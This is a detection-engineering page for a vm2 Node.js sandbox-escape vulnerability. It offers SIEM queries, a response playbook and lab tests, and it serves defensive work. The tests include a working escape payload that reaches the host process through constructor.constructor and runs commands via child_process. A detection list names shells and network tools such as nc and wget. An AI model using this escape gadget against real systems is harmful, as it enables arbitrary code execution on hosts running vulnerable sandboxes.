vm2 Sandbox Breakout via Dangerous Host Proto Mutators (CVE-2026-47698)
Detects exploitation and presence of CVE-2026-47698, a critical (CVSS 9.8) sandbox escape in the vm2 Node.js library (versions <= 3.11.5). vm2 fails to fully isolate host prototype mutator methods, allowing untrusted JavaScript executed inside the sandbox to reach host objects (via __proto__ / prototype chain and dangerous proto mutators such as Object.defineProperty, Reflect, Error stack getters) and obtain a reference to the host 'process' object, leading to arbitrary code execution on the host. This detection surfaces vulnerable vm2 installs, sandbox-escape indicators in application logs, and post-exploitation child-process/command execution spawned from Node.js processes that embed vm2.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- npm
- Product
- vm2
- Versions
- <= 3.11.5
Weakness (CWE)
Timeline
- Disclosed
- August 17, 2026
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
What is CVE-2026-47698 vm2 Sandbox Breakout via Dangerous Host Proto Mutators (CVE-2026-47698)?
vm2 Sandbox Breakout via Dangerous Host Proto Mutators (CVE-2026-47698) (CVE-2026-47698) maps to the Execution and Privilege Escalation tactics — the adversary is trying to run malicious code in MITRE ATT&CK.
This page provides production-ready detection logic for vm2 Sandbox Breakout via Dangerous Host Proto Mutators (CVE-2026-47698), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Execution Privilege Escalation
// Post-exploitation: Node.js process (vm2 host) spawning unexpected shells/command interpreters
let suspiciousChildren = dynamic(["cmd.exe","powershell.exe","pwsh.exe","bash","sh","/bin/sh","/bin/bash","whoami.exe","whoami","curl","wget","nc","ncat"]);
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("node.exe","node")
| where FileName in~ (suspiciousChildren) or ProcessCommandLine has_any ("child_process","require('child_process')","process.mainModule","process.binding")
| where InitiatingProcessCommandLine has_any ("vm2","NodeVM","VM(","vm2/lib")
or ProcessCommandLine has_any ("__proto__","constructor.constructor","process.mainModule.require")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName, InitiatingProcessId
| order by Timestamp desc Flags Node.js processes hosting vm2 that spawn command interpreters or reference host-escape primitives, indicating a successful sandbox breakout.
Data Sources
Required Tables
False Positives
- Legitimate Node.js tooling that spawns shells for build/CI tasks (e.g., npm scripts invoking bash).
- Developer machines running vm2 test suites that intentionally call child_process.
- Security scanners or SAST tools that emit __proto__ strings in command lines.
Sigma rule & cross-platform mapping
The detection logic for vm2 Sandbox Breakout via Dangerous Host Proto Mutators (CVE-2026-47698) (CVE-2026-47698) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-47698
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Detect vulnerable vm2 version in installed packages
Expected signal: npm install network fetch of [email protected] and a node process reading vm2/package.json; package inventory shows vm2 3.11.5.
- Test 2Simulate vm2 sandbox escape spawning a host command
Expected signal: A node process spawns /bin/sh -> id via child_process.execSync; auditd/Sysmon records node as parent of the shell; file /tmp/vm2_escape_proof.txt created.
- Test 3Emit prototype-mutator escape gadget in application input
Expected signal: Application/access log or test log contains the escape gadget strings constructor.constructor and child_process/process.mainModule.
Response Playbook
Triage
- Confirm whether the affected host runs a Node.js application that bundles vm2 <= 3.11.5: run `npm ls vm2` in each app directory or grep node_modules for vm2/package.json version.
- Determine whether the vm2 sandbox executes untrusted or user-supplied JavaScript (e.g., a code-eval feature, template engine, or plugin system). If it only runs first-party trusted code, downgrade urgency but still patch.
- Correlate the alerting Node process ID with application logs to identify which request/tenant/user submitted the code executed in the sandbox at the alert timestamp.
- Review the spawned child process command line and network destinations for signs of reverse shells, credential access, or download-and-execute activity.
Containment
- Patch or upgrade vm2 to >= 3.11.6, or remove vm2 and migrate to a hardened isolate (e.g., isolated-vm/Node worker with permissions) as soon as feasible.
- Isolate the affected host from the network and suspend the exposed sandbox feature (feature flag / WAF rule blocking the eval endpoint) until patched.
- Rotate any credentials, API keys, or tokens accessible to the Node.js service account, since host RCE exposes the process environment and mounted secrets.
Evidence Collection
- Capture the full Node.js process command line, environment, and open file handles for the parent and all child processes before remediation.
- Preserve application access logs and request bodies around the alert window to recover the attacker-supplied JavaScript payload.
- Collect Sysmon/auditd/EDR process-creation records, network connection logs, and any dropped files under the app's temp/working directories.
Escalation Criteria
- ! Escalate to IR/on-call immediately if the Node process spawned an interactive shell, established an outbound C2 connection, or accessed credentials/secret stores.
- ! Escalate to legal/compliance if the compromised service handled regulated data (PII, PHI, cardholder data) or if lateral movement off the host is observed.
Investigation Guide
Forensic Artifacts
- >
node_modules/vm2/package.json version string (<= 3.11.5) on the host. - >
Application request logs containing the submitted JavaScript payload with __proto__/constructor.constructor escape gadgets. - >
Sysmon/auditd EID process-creation records showing node as the parent of an unexpected shell or utility. - >
Outbound network connection logs from the Node.js PID to attacker infrastructure.
Tuning Guidance
Allowlist known-good Node parent command lines (build agents, pm2/forever supervisors, npm lifecycle scripts) by their working directory or service account, and restrict the __proto__/constructor.constructor content matches to hosts actually running vm2. Where the sandbox feature is exposed to untrusted input, lower the alert threshold to single-event; on pure developer/CI hosts, require the child-process spawn plus an outbound network connection to reduce noise. Retire the post-exploitation queries once all vm2 instances are confirmed on >= 3.11.6.
Hunting Queries
Baseline how often Node.js processes spawn shells per host to distinguish legitimate CI/build behavior from anomalous vm2-escape activity.
DeviceProcessEvents | where InitiatingProcessFileName in~ ('node.exe','node') | where FileName in~ ('cmd.exe','powershell.exe','pwsh.exe','bash','sh') | summarize count() by DeviceName, InitiatingProcessCommandLine, FileName, bin(Timestamp,1h) index=* sourcetype=*sysmon* (ParentImage=*node* OR parent_process_name=*node*) (Image IN (*cmd.exe,*powershell.exe,*bash,*sh) OR CommandLine=*child_process*) | stats count by host, ParentImage, Image, CommandLine Atomic Red Team Tests
Enumerate installed vm2 versions to identify hosts affected by CVE-2026-47698 (<= 3.11.5).
Command
cd /tmp && npm init -y >/dev/null 2>&1 && npm install [email protected] >/dev/null 2>&1 && node -e "console.log('vm2 version:', require('/tmp/node_modules/vm2/package.json').version)" Cleanup
rm -rf /tmp/node_modules /tmp/package.json /tmp/package-lock.json Expected Telemetry
npm install network fetch of [email protected] and a node process reading vm2/package.json; package inventory shows vm2 3.11.5.
Expected Detection
Software inventory / vulnerability scanner flags vm2 <= 3.11.5 as CVE-2026-47698 affected.
Runs a lab-only PoC where sandboxed JavaScript reaches the host process and executes a benign host command, mirroring the CVE-2026-47698 breakout to generate node->shell process telemetry.
Command
cd /tmp && cat > vm2_escape_poc.js <<'EOF'
const {VM} = require('/tmp/node_modules/vm2');
try {
const vm = new VM();
// Benign lab payload: reach host process via prototype chain and run a harmless command
const payload = "const p = this.constructor.constructor('return process')(); p.mainModule.require('child_process').execSync('id > /tmp/vm2_escape_proof.txt'); 'done'";
console.log(vm.run(payload));
} catch (e) { console.log('escape blocked (patched):', e.message); }
EOF
node /tmp/vm2_escape_poc.js Cleanup
rm -f /tmp/vm2_escape_poc.js /tmp/vm2_escape_proof.txt Expected Telemetry
A node process spawns /bin/sh -> id via child_process.execSync; auditd/Sysmon records node as parent of the shell; file /tmp/vm2_escape_proof.txt created.
Expected Detection
Process-creation rule fires on node parenting a shell/utility with child_process in the initiating command context.
Sends a request payload containing vm2 escape gadgets (__proto__ / constructor.constructor) to a Node.js eval endpoint to test application-log detection of exploitation attempts.
Command
powershell -NoProfile -Command "$body = 'this.constructor.constructor(''return process'')().mainModule.require(''child_process'').execSync(''whoami'')'; Write-Host $body; Add-Content -Path $env:TEMP\vm2_payload_test.log -Value $body" Cleanup
powershell -NoProfile -Command "Remove-Item -Force $env:TEMP\vm2_payload_test.log -ErrorAction SilentlyContinue" Expected Telemetry
Application/access log or test log contains the escape gadget strings constructor.constructor and child_process/process.mainModule.
Expected Detection
Log-based rule matches __proto__/constructor.constructor + child_process gadget strings in inbound application input.